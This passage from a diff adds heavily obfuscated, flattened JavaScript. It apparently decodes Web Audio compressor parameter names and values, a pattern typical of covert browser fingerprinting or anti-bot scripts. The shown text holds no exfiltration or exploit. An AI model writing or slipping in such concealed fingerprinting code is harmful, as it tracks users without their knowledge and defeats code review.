_$gS; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$fS(_$Qv, _$Pv); + _$lS = _$Gv; + _$gS++; + _$Qv = _$tS; + _$Wv = _$nS; + _$Yv = _$_C; + _$Ov = _$gS; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$fS(_$Qv, _$Pv); + _$bS = _$Gv; + _$gS++; + _$Qv = _$tS; + _$Wv = _$nS; + _$Yv = _$_C; + _$Ov = _$gS; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$fS(_$Qv, _$Pv); + _$kS = _$Gv; + _$gS++; + _$Qv = _$uS; + _$Wv = _$pS; + _$Yv = _$hS; + _$Ov = _$iS; + _$Pv = _$Yv * _$Ov; + _$Gv = _$iS; + _$Zv = _$Pv * _$Gv; + _$Ev = _$iS; + _$_v = _$Zv * _$Ev; + _$Vv = _$lS; + _$qv = _$iS; + _$Hv = _$Vv * _$qv; + _$xv = _$iS; + _$Bv = _$Hv * _$xv; + _$Xv = _$_v + _$Bv; + _$Fv = _$bS; + _$$v = _$iS; + _$es = _$Fv * _$$v; + _$ts = _$Xv + _$es; + _$ds = _$kS; + _$Ms = _$ts + _$ds; + _$Qv[_$Wv] = _$Ms + } + _$Qv = _$BC; + _$oS = _$Qv; + for (_$yS = 0; _$yS < _$uS.length; _$yS++) { + _$Qv = _$uS; + _$Wv = _$yS; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$oS += _$Ov + } + _$Qv = _$_A; + _$Wv = _$aS; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$oS; + _$Pv = 1e4; + _$Gv = _$NA; + _$Zv = _$vS; + _$Ev = _$Gv[_$Zv]; + _$Yv[_$Ov](_$Pv, _$Ev); + _$Qv = _$dr + _$wr + _$Ar + _$Ir + _$Mr; + _$wS = _$Qv; + _$Wv = 1; + _$dS = _$Wv; + _$Qv = _$wS; + _$dS = _$Qv; + _$Qv = 1; + _$wS = _$Qv; + _$Qv = _$wS; + _$Wv = 5; + _$Yv = _$Qv * _$Wv; + _$wS = _$Yv; + _$Qv = []; + _$MS = _$Qv; + _$Qv = _$dS; + _$wS = _$Qv; + _$Qv = 14; + _$Wv = 15; + _$Yv = 4; + _$Ov = 2; + _$Pv = 0; + _$Gv = 16; + _$Zv = 17; + _$Ev = 13; + _$_v = 18; + _$Vv = 8; + _$qv = 19; + _$Hv = 3; + _$xv = 6; + _$Bv = 20; + _$Xv = 9; + _$Fv = 21; + _$$v = 5; + _$es = 12; + _$ts = 22; + _$ds = 23; + _$Ms = 7; + _$Is = 1; + _$As = 11; + _$Ss = 10; + _$Yn = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv, _$Xv, _$Fv, _$$v, _$es, _$ts, _$ds, _$Ms, _$Is, _$As, _$Ss]; + _$dS = _$Yn; + for (_$IS = 0; _$IS < _$wS.length; _$IS++) { + _$Qv = _$MS; + _$Wv = _$LC; + _$Yv = _$wS; + _$Ov = _$_C; + _$Pv = _$dS; + _$Gv = _$IS; + _$Zv = _$Pv[_$Gv]; + _$Ev = _$Yv[_$Ov](_$Zv); + _$Qv[_$Wv](_$Ev) + } + _$Qv = _$dS; + _$Wv = _$LC; + _$Yv = _$wS; + _$Ov = _$Qv[_$Wv](_$Yv); + _$dS = _$Ov; + _$Qv = _$NA; + _$Wv = _$MS; + _$Yv = _$RC; + _$Ov = _$BC; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$Qv[_$Pv](); + _$AS = _$Gv; + _$Zv = _$Kg; + _$SS = _$Zv; + _$Ev = 1; + _$mS = _$Ev; + _$Qv = _$mS; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$mS = _$Yv; + _$Qv = 1; + _$SS = _$Qv; + _$Qv = _$BC; + _$TS = _$Qv; + _$Qv = _$mS; + _$SS = _$Qv; + _$Qv = 29184; + _$Wv = 25856; + _$Yv = 25600; + _$Ov = 29952; + _$Pv = 25344; + _$Gv = 29696; + _$Zv = 26880; + _$Ev = 28416; + _$_v = 28160; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$mS = _$Vv; + for (_$jS = 0; _$jS < _$mS.length; _$jS++) { + _$Qv = _$TS; + _$Wv = _$mS; + _$Yv = _$jS; + _$Ov = _$Wv[_$Yv]; + _$Pv = 8; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$TS = _$Ev + } + _$Qv = _$mS; + _$Wv = _$LC; + _$Yv = _$SS; + _$Ov = _$Qv[_$Wv](_$Yv); + _$mS = _$Ov; + _$Qv = _$Dg; + _$CS = _$Qv; + _$Wv = 1; + _$DS = _$Wv; + _$Qv = _$DS; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$DS = _$Yv; + _$Qv = 1; + _$CS = _$Qv; + _$Qv = _$BC; + _$KS = _$Qv; + _$Qv = _$DS; + _$CS = _$Qv; + _$Qv = 59392; + _$Wv = 53248; + _$Yv = 58368; + _$Ov = 51712; + _$Pv = 58880; + _$Gv = 53248; + _$Zv = 56832; + _$Ev = 55296; + _$_v = 51200; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$DS = _$Vv; + for (_$QS = 0; _$QS < _$DS.length; _$QS++) { + _$Qv = _$KS; + _$Wv = _$DS; + _$Yv = _$QS; + _$Ov = _$Wv[_$Yv]; + _$Pv = 9; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$KS = _$Ev + } + _$Qv = _$DS; + _$Wv = _$LC; + _$Yv = _$CS; + _$Ov = _$Qv[_$Wv](_$Yv); + _$DS = _$Ov; + _$Qv = _$Cg; + _$WS = _$Qv; + _$Wv = 1; + _$YS = _$Wv; + _$Qv = _$YS; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$YS = _$Yv; + _$Qv = 1; + _$WS = _$Qv; + _$Qv = _$BC; + _$US = _$Qv; + _$Qv = _$YS; + _$WS = _$Qv; + _$Qv = 228; + _$Wv = 202; + _$Yv = 216; + _$Ov = 202; + _$Pv = 194; + _$Gv = 230; + _$Zv = 202; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$YS = _$Ev; + for (_$OS = 0; _$OS < _$YS.length; _$OS++) { + _$Qv = _$US; + _$Wv = _$YS; + _$Yv = _$OS; + _$Ov = _$Wv[_$Yv]; + _$Pv = 1; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$US = _$Ev + } + _$Qv = _$YS; + _$Wv = _$LC; + _$Yv = _$WS; + _$Ov = _$Qv[_$Wv](_$Yv); + _$YS = _$Ov; + _$Qv = _$jg; + _$PS = _$Qv; + _$Wv = 1; + _$GS = _$Wv; + _$Qv = _$GS; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$GS = _$Yv; + _$Qv = 1; + _$PS = _$Qv; + _$Qv = _$BC; + _$NS = _$Qv; + _$Qv = _$GS; + _$PS = _$Qv; + _$Qv = 933888; + _$Wv = 794624; + _$Yv = 950272; + _$Ov = 860160; + _$Pv = 909312; + _$Gv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv]; + _$GS = _$Gv; + for (_$ZS = 0; _$ZS < _$GS.length; _$ZS++) { + _$Qv = _$NS; + _$Wv = _$GS; + _$Yv = _$ZS; + _$Ov = _$Wv[_$Yv]; + _$Pv = 13; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$NS = _$Ev + } + _$Qv = _$GS; + _$Wv = _$LC; + _$Yv = _$PS; + _$Ov = _$Qv[_$Wv](_$Yv); + _$GS = _$Ov; + _$Qv = _$pr + _$yr; + _$am = _$Qv; + _$Qv = _$am; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$zS = _$Yv; + _$Qv = []; + _$em = _$Qv; + for (_$rm = 0; _$rm < _$zS; _$rm++) { + _$Qv = _$am; + _$Wv = _$OC; + _$Yv = _$rm; + _$Ov = _$Qv[_$Wv](_$Yv); + _$ES = _$Ov; + _$Qv = _$ES; + _$Wv = 65536; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$ES; + _$Ns = 1114111; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$em; + _$Wv = _$LC; + _$Yv = _$ES; + _$Ov = 18; + _$Pv = _$Yv >> _$Ov; + _$Gv = 7; + _$Zv = _$Pv & _$Gv; + _$Ev = 240; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$em; + _$Wv = _$LC; + _$Yv = _$ES; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$em; + _$Wv = _$LC; + _$Yv = _$ES; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$em; + _$Wv = _$LC; + _$Yv = _$ES; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$ES; + _$Wv = 2048; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$ES; + _$Ns = 65535; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$em; + _$Wv = _$LC; + _$Yv = _$ES; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 15; + _$Zv = _$Pv & _$Gv; + _$Ev = 224; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$em; + _$Wv = _$LC; + _$Yv = _$ES; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$em; + _$Wv = _$LC; + _$Yv = _$ES; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$ES; + _$Wv = 128; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$ES; + _$Ns = 2047; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$em; + _$Wv = _$LC; + _$Yv = _$ES; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 31; + _$Zv = _$Pv & _$Gv; + _$Ev = 192; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$em; + _$Wv = _$LC; + _$Yv = _$ES; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$em; + _$Wv = _$LC; + _$Yv = _$ES; + _$Ov = 255; + _$Pv = _$Yv & _$Ov; + _$Qv[_$Wv](_$Pv) + } + } + } + } + _$Qv = _$em; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$RS = _$Yv; + _$Qv = _$RS; + _$Wv = 2; + _$Yv = _$Qv / _$Wv; + _$RS = _$Yv; + _$Qv = []; + _$cm = _$Qv; + _$Qv = 0; + _$VS = _$Qv; + for (_$vm = 0; _$vm < _$RS; _$vm++) { + _$Qv = _$em; + _$Wv = _$VS; + _$Yv = _$Qv[_$Wv]; + _$JS = _$Yv; + _$Qv = _$em; + _$Wv = _$VS; + _$Yv = 1; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$$S = _$Pv; + _$Qv = _$VS; + _$Wv = 2; + _$Yv = _$Qv + _$Wv; + _$VS = _$Yv; + _$Qv = _$JS; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$JS = _$Yv; + _$Qv = _$$S; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$$S = _$Yv; + _$Qv = _$$S; + _$Wv = 19; + _$Yv = _$Qv * _$Wv; + _$Ov = _$JS; + _$Pv = _$Yv + _$Ov; + _$HS = _$Pv; + _$Qv = _$HS; + _$Wv = 11; + _$Yv = _$Qv ^ _$Wv; + _$qS = _$Yv; + _$Qv = _$cm; + _$Wv = _$vm; + _$Yv = _$qS; + _$Qv[_$Wv] = _$Yv + } + _$Qv = _$BC; + _$sm = _$Qv; + for (_$hm = 0; _$hm < _$cm.length; _$hm++) { + _$Qv = _$cm; + _$Wv = _$hm; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$gr + _$ur; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$fm = _$Gv; + _$Qv = _$fm; + _$Wv = _$LS; + _$Yv = /^1+?(?=0)/; + _$Ov = _$Qv[_$Wv](_$Yv); + _$im = _$Ov; + _$Qv = _$im; + _$Wv = _$Qv; + if (_$Wv) { + _$ks = _$fm; + _$Ns = _$PC; + _$Hs = _$ks[_$Ns]; + _$xs = 8; + _$Wv = _$Hs === _$xs + } + if (_$Wv) { + _$Qv = _$im; + _$Wv = 0; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$PC; + _$Pv = _$Yv[_$Ov]; + _$om = _$Pv; + _$Qv = _$cm; + _$Wv = _$hm; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$wc + _$yc; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$_S; + _$Ev = 7; + _$_v = _$om; + _$Vv = _$Ev - _$_v; + _$qv = _$Gv[_$Zv](_$Vv); + _$bm = _$qv; + for (_$wm = 0; _$wm < _$om; _$wm++) { + _$Qv = _$cm; + _$Wv = _$wm; + _$Yv = _$hm; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$Gv = _$gr + _$ur; + _$Zv = 2; + _$Ev = _$Pv[_$Gv](_$Zv); + _$_v = _$_S; + _$Vv = 2; + _$qv = _$Ev[_$_v](_$Vv); + _$bm += _$qv + } + _$Qv = _$bm; + _$Wv = 2; + _$Yv = parseInt(_$Qv, _$Wv); + _$Ov = _$bW(_$Yv); + _$sm += _$Ov; + _$Qv = _$om; + _$Wv = 1; + _$Yv = _$Qv - _$Wv; + _$hm += _$Yv + } else { + _$Qv = _$cm; + _$Wv = _$hm; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$sm += _$Ov + } + } + _$Qv = _$Tg; + _$dm = _$Qv; + _$Wv = 1; + _$Mm = _$Wv; + _$Qv = _$Mm; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$Mm = _$Yv; + _$Qv = 1; + _$dm = _$Qv; + _$Qv = _$BC; + _$Im = _$Qv; + _$Qv = _$Mm; + _$dm = _$Qv; + _$Qv = 3178496; + _$Wv = 3801088; + _$Yv = 3801088; + _$Ov = 3178496; + _$Pv = 3244032; + _$Gv = 3506176; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$Mm = _$Zv; + for (_$Am = 0; _$Am < _$Mm.length; _$Am++) { + _$Qv = _$Im; + _$Wv = _$Mm; + _$Yv = _$Am; + _$Ov = _$Wv[_$Yv]; + _$Pv = 15; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$Im = _$Ev + } + _$Qv = _$Mm; + _$Wv = _$LC; + _$Yv = _$dm; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Mm = _$Ov; + _$Qv = _$KS; + _$Wv = 50; + _$Yv = -_$Wv; + _$Ov = [_$Qv, _$Yv]; + _$Pv = _$sm; + _$Gv = 40; + _$Zv = [_$Pv, _$Gv]; + _$Ev = _$NS; + _$_v = 12; + _$Vv = [_$Ev, _$_v]; + _$qv = _$TS; + _$Hv = 20; + _$xv = -_$Hv; + _$Bv = [_$qv, _$xv]; + _$Xv = _$Im; + _$Fv = 0; + _$$v = [_$Xv, _$Fv]; + _$es = _$US; + _$ts = .25; + _$ds = [_$es, _$ts]; + _$Ms = [_$Ov, _$Zv, _$Vv, _$Bv, _$$v, _$ds]; + _$Sm = _$Ms; + _$Is = function(_$a) { + var _$e, _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d; + _$e = _$AS; + _$r = _$a; + _$c = 0; + _$v = _$r[_$c]; + _$s = _$e[_$v]; + _$n = undefined; + _$f = _$s !== _$n; + _$u = _$f; + if (_$u) { + _$t = _$AS; + _$i = _$a; + _$o = 0; + _$k = _$i[_$o]; + _$b = _$t[_$k]; + _$l = _$yU(); + _$h = typeof _$b[_$l]; + _$g = _$eU(); + _$u = _$h === _$g + } + if (_$u) { + _$e = _$AS; + _$r = _$a; + _$c = 0; + _$v = _$r[_$c]; + _$s = _$e[_$v]; + _$n = _$gU(); + _$f = _$a; + _$u = 1; + _$p = _$f[_$u]; + _$y = _$NA; + _$w = _$pU(); + _$d = _$y[_$w]; + _$s[_$n](_$p, _$d) + } + } + ; + _$mm = _$Is; + _$As = _$mg; + _$Tm = _$As; + _$Ss = 1; + _$jm = _$Ss; + _$Qv = _$jm; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$jm = _$Yv; + _$Qv = 1; + _$Tm = _$Qv; + _$Qv = _$BC; + _$Cm = _$Qv; + _$Qv = _$jm; + _$Tm = _$Qv; + _$Qv = 448; + _$Wv = 456; + _$Yv = 444; + _$Ov = 464; + _$Pv = 444; + _$Gv = 464; + _$Zv = 484; + _$Ev = 448; + _$_v = 404; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$jm = _$Vv; + for (_$Dm = 0; _$Dm < _$jm.length; _$Dm++) { + _$Qv = _$Cm; + _$Wv = _$jm; + _$Yv = _$Dm; + _$Ov = _$Wv[_$Yv]; + _$Pv = 2; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$Cm = _$Ev + } + _$Qv = _$jm; + _$Wv = _$LC; + _$Yv = _$Tm; + _$Ov = _$Qv[_$Wv](_$Yv); + _$jm = _$Ov; + _$Qv = _$Sg; + _$Km = _$Qv; + _$Wv = 1; + _$Qm = _$Wv; + _$Qv = _$Qm; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$Qm = _$Yv; + _$Qv = 1; + _$Km = _$Qv; + _$Qv = _$BC; + _$Wm = _$Qv; + _$Qv = _$Qm; + _$Km = _$Qv; + _$Qv = 3342336; + _$Wv = 3637248; + _$Yv = 3735552; + _$Ov = 2260992; + _$Pv = 3178496; + _$Gv = 3244032; + _$Zv = 3407872; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$Qm = _$Ev; + for (_$Ym = 0; _$Ym < _$Qm.length; _$Ym++) { + _$Qv = _$Wm; + _$Wv = _$Qm; + _$Yv = _$Ym; + _$Ov = _$Wv[_$Yv]; + _$Pv = 15; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$Wm = _$Ev + } + _$Qv = _$Qm; + _$Wv = _$LC; + _$Yv = _$Km; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Qm = _$Ov; + _$Qv = _$Ag; + _$Um = _$Qv; + _$Wv = 1; + _$Om = _$Wv; + _$Qv = _$Om; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$Om = _$Yv; + _$Qv = 1; + _$Um = _$Qv; + _$Qv = _$BC; + _$Pm = _$Qv; + _$Qv = _$Om; + _$Um = _$Qv; + _$Qv = 417792; + _$Wv = 454656; + _$Yv = 466944; + _$Ov = 282624; + _$Pv = 397312; + _$Gv = 405504; + _$Zv = 425984; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$Om = _$Ev; + for (_$Gm = 0; _$Gm < _$Om.length; _$Gm++) { + _$Qv = _$Pm; + _$Wv = _$Om; + _$Yv = _$Gm; + _$Ov = _$Wv[_$Yv]; + _$Pv = 12; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$Pm = _$Ev + } + _$Qv = _$Om; + _$Wv = _$LC; + _$Yv = _$Um; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Om = _$Ov; + _$Qv = _$Ig; + _$Nm = _$Qv; + _$Wv = 1; + _$Zm = _$Wv; + _$Qv = _$Zm; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$Zm = _$Yv; + _$Qv = 1; + _$Nm = _$Qv; + _$Qv = _$BC; + _$zm = _$Qv; + _$Qv = _$Zm; + _$Nm = _$Qv; + _$Qv = 1792; + _$Wv = 1824; + _$Yv = 1776; + _$Ov = 1856; + _$Pv = 1776; + _$Gv = 1856; + _$Zv = 1936; + _$Ev = 1792; + _$_v = 1616; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$Zm = _$Vv; + for (_$Em = 0; _$Em < _$Zm.length; _$Em++) { + _$Qv = _$zm; + _$Wv = _$Zm; + _$Yv = _$Em; + _$Ov = _$Wv[_$Yv]; + _$Pv = 4; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$zm = _$Ev + } + _$Qv = _$Zm; + _$Wv = _$LC; + _$Yv = _$Nm; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Zm = _$Ov; + _$Qv = _$Mg; + _$Rm = _$Qv; + _$Wv = 1; + _$_m = _$Wv; + _$Qv = _$_m; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$_m = _$Yv; + _$Qv = 1; + _$Rm = _$Qv; + _$Qv = _$BC; + _$Lm = _$Qv; + _$Qv = _$_m; + _$Rm = _$Qv; + _$Qv = 104448; + _$Wv = 113664; + _$Yv = 116736; + _$Ov = 70656; + _$Pv = 99328; + _$Gv = 101376; + _$Zv = 106496; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$_m = _$Ev; + for (_$Vm = 0; _$Vm < _$_m.length; _$Vm++) { + _$Qv = _$Lm; + _$Wv = _$_m; + _$Yv = _$Vm; + _$Ov = _$Wv[_$Yv]; + _$Pv = 10; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$Lm = _$Ev + } + _$Qv = _$_m; + _$Wv = _$LC; + _$Yv = _$Rm; + _$Ov = _$Qv[_$Wv](_$Yv); + _$_m = _$Ov; + _$Qv = Array; + _$Wv = _$Cm; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$Lm; + _$Pv = _$Yv[_$Ov]; + _$Gv = _$Pv; + if (_$Gv) { + _$ks = _$Sm; + _$Ns = _$Pm; + _$Hs = _$ks[_$Ns]; + _$xs = Array; + _$wf = _$zm; + _$df = _$xs[_$wf]; + _$Mf = _$Wm; + _$If = _$df[_$Mf]; + _$Gv = _$Hs === _$If + } + if (_$Gv) { + _$Qv = _$dg; + _$qm = _$Qv; + _$Wv = 1; + _$Hm = _$Wv; + _$Qv = _$Hm; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$Hm = _$Yv; + _$Qv = 1; + _$qm = _$Qv; + _$Qv = _$BC; + _$xm = _$Qv; + _$Qv = _$Hm; + _$qm = _$Qv; + _$Qv = 1671168; + _$Wv = 1818624; + _$Yv = 1867776; + _$Ov = 1130496; + _$Pv = 1589248; + _$Gv = 1622016; + _$Zv = 1703936; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$Hm = _$Ev; + for (_$Bm = 0; _$Bm < _$Hm.length; _$Bm++) { + _$Qv = _$xm; + _$Wv = _$Hm; + _$Yv = _$Bm; + _$Ov = _$Wv[_$Yv]; + _$Pv = 14; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$xm = _$Ev + } + _$Qv = _$Hm; + _$Wv = _$LC; + _$Yv = _$qm; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Hm = _$Ov; + _$Qv = _$Sm; + _$Wv = _$xm; + _$Yv = _$mm; + _$Qv[_$Wv](_$Yv) + } else { + _$Qv = _$Sm; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$Sm; + _$Pv = _$PC; + _$Gv = _$Ov[_$Pv]; + _$Zv = +_$Gv; + _$Ev = _$Yv === _$Zv; + if (_$Ev) { + for (_$Xm = 0, + _$Fm = _$Sm.length; _$Xm < _$Fm; _$Xm++) { + _$Qv = _$Sm; + _$Wv = _$Xm; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$Xm; + _$Pv = _$Sm; + _$mm(_$Yv, _$Ov, _$Pv) + } + } else { + for (var _$cx in _$Sm) { + _$Qv = _$wg; + _$Jm = _$Qv; + _$Wv = 1; + _$$m = _$Wv; + _$Qv = _$$m; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$$m = _$Yv; + _$Qv = 1; + _$Jm = _$Qv; + _$Qv = _$BC; + _$aT = _$Qv; + _$Qv = _$$m; + _$Jm = _$Qv; + _$Qv = 6656; + _$Wv = 6208; + _$Yv = 7360; + _$Ov = 5056; + _$Pv = 7616; + _$Gv = 7040; + _$Zv = 5120; + _$Ev = 7296; + _$_v = 7104; + _$Vv = 7168; + _$qv = 6464; + _$Hv = 7296; + _$xv = 7424; + _$Bv = 7744; + _$Xv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv]; + _$$m = _$Xv; + for (_$eT = 0; _$eT < _$$m.length; _$eT++) { + _$Qv = _$aT; + _$Wv = _$$m; + _$Yv = _$eT; + _$Ov = _$Wv[_$Yv]; + _$Pv = 6; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$aT = _$Ev + } + _$Qv = _$$m; + _$Wv = _$LC; + _$Yv = _$Jm; + _$Ov = _$Qv[_$Wv](_$Yv); + _$$m = _$Ov; + _$Qv = _$Sm; + _$Wv = _$aT; + _$Yv = _$cx; + _$Ov = _$Qv[_$Wv](_$Yv); + if (_$Ov) { + _$Qv = _$Sm; + _$Wv = _$cx; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$cx; + _$Pv = _$Sm; + _$mm(_$Yv, _$Ov, _$Pv) + } + } + } + } + _$Qv = _$hr + _$lr; + _$rT = _$Qv; + _$Wv = _$rT; + _$Yv = _$OC; + _$Ov = 0; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$rT; + _$Zv = _$PC; + _$Ev = _$Gv[_$Zv]; + _$_v = _$Pv - _$Ev; + _$Vv = _$bW(_$_v); + _$cT = _$Vv; + for (_$vT = 1; _$vT < _$rT.length; _$vT++) { + _$Qv = _$rT; + _$Wv = _$OC; + _$Yv = _$vT; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Pv = _$cT; + _$Gv = _$OC; + _$Zv = _$vT; + _$Ev = 1; + _$_v = _$Zv - _$Ev; + _$Vv = _$Pv[_$Gv](_$_v); + _$qv = _$Ov - _$Vv; + _$Hv = _$bW(_$qv); + _$cT += _$Hv + } + _$Qv = _$_A; + _$Wv = _$cT; + _$Yv = _$AS; + _$Qv[_$Wv](_$Yv); + _$Qv = _$yg; + _$sT = _$Qv; + _$Wv = 1; + _$nT = _$Wv; + _$Qv = _$nT; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$nT = _$Yv; + _$Qv = 1; + _$sT = _$Qv; + _$Qv = _$BC; + _$fT = _$Qv; + _$Qv = _$nT; + _$sT = _$Qv; + _$Qv = 6336; + _$Wv = 7104; + _$Yv = 7040; + _$Ov = 7040; + _$Pv = 6464; + _$Gv = 6336; + _$Zv = 7424; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$nT = _$Ev; + for (_$tT = 0; _$tT < _$nT.length; _$tT++) { + _$Qv = _$fT; + _$Wv = _$nT; + _$Yv = _$tT; + _$Ov = _$Wv[_$Yv]; + _$Pv = 6; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$fT = _$Ev + } + _$Qv = _$nT; + _$Wv = _$LC; + _$Yv = _$sT; + _$Ov = _$Qv[_$Wv](_$Yv); + _$nT = _$Ov; + _$Qv = _$pg; + _$iT = _$Qv; + _$Wv = 1; + _$oT = _$Wv; + _$Qv = _$oT; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$oT = _$Yv; + _$Qv = 1; + _$iT = _$Qv; + _$Qv = _$BC; + _$kT = _$Qv; + _$Qv = _$oT; + _$iT = _$Qv; + _$Qv = 400; + 